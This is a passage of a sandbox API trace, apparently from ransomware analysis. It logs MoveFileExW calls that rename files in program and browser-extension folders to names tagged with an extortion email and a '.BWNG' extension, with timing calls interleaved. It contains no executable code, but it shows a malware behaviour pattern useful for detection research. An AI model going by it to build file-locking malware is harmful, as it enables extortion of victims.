(x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].1bfrviuy-jeutns4v.bwng"), dwFlags=0x1) returned 1 [0118.616] GetTickCount () returned 0x1165448 [0118.616] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26056818144) returned 1 [0118.616] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Juba" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\juba"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].FOoyeBLk-vvuPsmLL.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].fooyeblk-vvupsmll.bwng"), dwFlags=0x1) returned 1 [0118.618] GetTickCount () returned 0x1165448 [0118.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26056982596) returned 1 [0118.618] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lusaka" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\lusaka"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].9JSUgaio-GZM9z1E6.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].9jsugaio-gzm9z1e6.bwng"), dwFlags=0x1) returned 1 [0118.619] GetTickCount () returned 0x1165448 [0118.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26057116474) returned 1 [0118.619] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nouakchott" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\nouakchott"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].iu8pEw1l-5MQ2zGAE.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].iu8pew1l-5mq2zgae.bwng"), dwFlags=0x1) returned 1 [0118.620] GetTickCount () returned 0x1165448 [0118.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26057247586) returned 1 [0118.620] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Antigua" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\antigua"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].xPkyCdfK-QWJQiBIx.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].xpkycdfk-qwjqibix.bwng"), dwFlags=0x1) returned 1 [0118.622] GetTickCount () returned 0x1165448 [0118.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26057399214) returned 1 [0118.622] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\San_Juan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\san_juan"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\[billwong73@yahoo.com].b6t5wAZb-eS6Vyw0b.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\[billwong73@yahoo.com].b6t5wazb-es6vyw0b.bwng"), dwFlags=0x1) returned 1 [0118.623] GetTickCount () returned 0x1165458 [0118.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26057547638) returned 1 [0118.623] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Belem" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\belem"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].rs63Y7pb-5iI2h6OG.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].rs63y7pb-5ii2h6og.bwng"), dwFlags=0x1) returned 1 [0118.624] GetTickCount () returned 0x1165458 [0118.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26057668062) returned 1 [0118.625] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cayenne" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\cayenne"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].9WSDnozO-ZeARHGbu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].9wsdnozo-zearhgbu.bwng"), dwFlags=0x1) returned 1 [0118.626] GetTickCount () returned 0x1165458 [0118.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26057805058) returned 1 [0118.626] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dawson_Creek" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\dawson_creek"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].HZG4RlSR-y6EzWYoz.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].hzg4rlsr-y6ezwyoz.bwng"), dwFlags=0x1) returned 1 [0118.627] GetTickCount () returned 0x1165458 [0118.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26057934072) returned 1 [0118.627] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\[billwong73@yahoo.com].RqxBCyEZ-AcYSFhip.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\[billwong73@yahoo.com].rqxbcyez-acysfhip.bwng"), dwFlags=0x1) returned 1 [0118.628] GetTickCount () returned 0x1165458 [0118.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26058062356) returned 1 [0118.629] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\[billwong73@yahoo.com].j47hRO2C-gO6U63jp.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\[billwong73@yahoo.com].j47hro2c-go6u63jp.bwng"), dwFlags=0x1) returned 1 [0118.630] GetTickCount () returned 0x1165458 [0118.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26058208154) returned 1 [0118.630] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\[billwong73@yahoo.com].xseAkMI7-3Hn0CGtb.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\[billwong73@yahoo.com].xseakmi7-3hn0cgtb.bwng"), dwFlags=0x1) returned 1 [0118.631] GetTickCount () returned 0x1165458 [0118.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26058345991) returned 1 [0118.631] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\[billwong73@yahoo.com].BdCJR7Mx-z0lwaYRX.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\[billwong73@yahoo.com].bdcjr7mx-z0lwayrx.bwng"), dwFlags=0x1) returned 1 [0118.633] GetTickCount () returned 0x1165458 [0118.633] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26058526555) returned 1 [0118.633] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\[billwong73@yahoo.com].wPhFSPQk-DaPlmshl.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\[billwong73@yahoo.com].wphfspqk-daplmshl.bwng"), dwFlags=0x1) returned 1 [0118.634] GetTickCount () returned 0x1165458 [0118.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26058659561) returned 1 [0118.635] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\[billwong73@yahoo.com].15KvFpW9-zI0l9OnG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\[billwong73@yahoo.com].15kvfpw9-zi0l9ong.bwng"), dwFlags=0x1) returned 1 [0118.636] GetTickCount () returned 0x1165458 [0118.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26058787750) returned 1 [0118.636] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\[billwong73@yahoo.com].CTNqiDMR-gpNhPKSp.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\[billwong73@yahoo.com].ctnqidmr-gpnhpksp.bwng"), dwFlags=0x1) returned 1 [0118.637] GetTickCount () returned 0x1165458 [0118.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26058928590) returned 1 [0118.637] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\[billwong73@yahoo.com].l3di5G1i-NIZNwVuH.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\[billwong73@yahoo.com].l3di5g1i-niznwvuh.bwng"), dwFlags=0x1) returned 1 [0118.638] GetTickCount () returned 0x1165467 [0118.638] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26059071228) returned 1 [0118.639] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\[billwong73@yahoo.com].EgcQ8Jgm-swdgsfMJ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\[billwong73@yahoo.com].egcq8jgm-swdgsfmj.bwng"), dwFlags=0x1) returned 1 [0118.640] GetTickCount () returned 0x1165467 [0118.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26059208408) returned 1 [0118.640] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\[billwong73@yahoo.com].NNJNS9CV-Iz83GOmZ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\[billwong73@yahoo.com].nnjns9cv-iz83gomz.bwng"), dwFlags=0x1) returned 1 [0118.717] GetTickCount () returned 0x11654b5 [0118.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26066963354) returned 1 [0118.718] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\[billwong73@yahoo.com].PZF5Hy3y-YgYrXGGp.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\[billwong73@yahoo.com].pzf5hy3y-ygyrxggp.bwng"), dwFlags=0x1) returned 1 [0118.719] GetTickCount () returned 0x11654b5 [0118.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26067147471) returned 1 [0118.720] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\[billwong73@yahoo.com].hCJjkEU7-gPpRMWIg.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\[billwong73@yahoo.com].hcjjkeu7-gpprmwig.bwng"), dwFlags=0x1) returned 1 [0118.721] GetTickCount () returned 0x11654b5 [0118.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26067293811) returned 1 [0118.721] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\[billwong73@yahoo.com].lKmKWpZI-tSCEpnxK.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\[billwong73@yahoo.com].lkmkwpzi-tscepnxk.bwng"), dwFlags=0x1) returned 1 [0118.722] GetTickCount () returned 0x11654b5 [0118.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26067437569) returned 1 [0118.722] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\[billwong73@yahoo.com].h7foQBPt-kExSK8kC.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\[billwong73@yahoo.com].h7foqbpt-kexsk8kc.bwng"), dwFlags=0x1) returned 1 [0118.724] GetTickCount () returned 0x11654b5 [0118.724] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26067598824) returned 1 [0118.724] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\[billwong73@yahoo.com].LWZb8MNy-92TWxIpu.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\[billwong73@yahoo.com].lwzb8mny-92twxipu.bwng"), dwFlags=0x1) returned 1 [0118.725] GetTickCount () returned 0x11654b5 [0118.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26067747593) returned 1 [0118.725] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\[billwong73@yahoo.com].ndOjnq7v-MdulTi0o.BWNG" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\[billwong73@yahoo.com].ndojnq7v-mdulti0o.bwng"), dwFlags=0x1) returned 1 [0118.726] GetTickCount () returned 0x11654b5 [0118.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26067870736) returned 1 [0118.727] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\install.rdf" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\install.rdf"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\[billwong73@yahoo.com].TrHDLxb9-zJKTh5ad.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\[billwong73@yahoo.com].trhdlxb9-zjkth5ad.bwng"), dwFlags=0x1) returned 1 [0118.793] GetTickCount () returned 0x11654f4 [0118.794] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26074738157) returned 1 [0118.796] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\maintenanceservice.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].Ti8QGIzC-UItJGh9h.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].ti8qgizc-uitjgh9h.bwng"), dwFlags=0x1) returned 1 [0118.797] GetTickCount () returned 0x1165503 [0118.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26074908912) returned 1 [0118.797] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Canary" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\canary"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\[billwong73@yahoo.com].NW5ZW3JI-edyK8N7B.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\[billwong73@yahoo.com].nw5zw3ji-edyk8n7b.bwng"), dwFlags=0x1) returned 1 [0118.798] GetTickCount () returned 0x1165503 [0118.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26075031853) returned 1 [0118.798] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt-stub.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].nYOlJA2H-oaBpWi3o.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].nyolja2h-oabpwi3o.bwng"), dwFlags=0x1) returned 1 [0118.799] GetTickCount () returned 0x1165503 [0118.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26075164122) returned 1 [0118.800] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].cY0FIdUF-cjMYSkBX.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].cy0fiduf-cjmyskbx.bwng"), dwFlags=0x1) returned 1 [0118.801] GetTickCount () returned 0x1165503 [0118.801] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26075279254) returned 1 [0118.801] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft 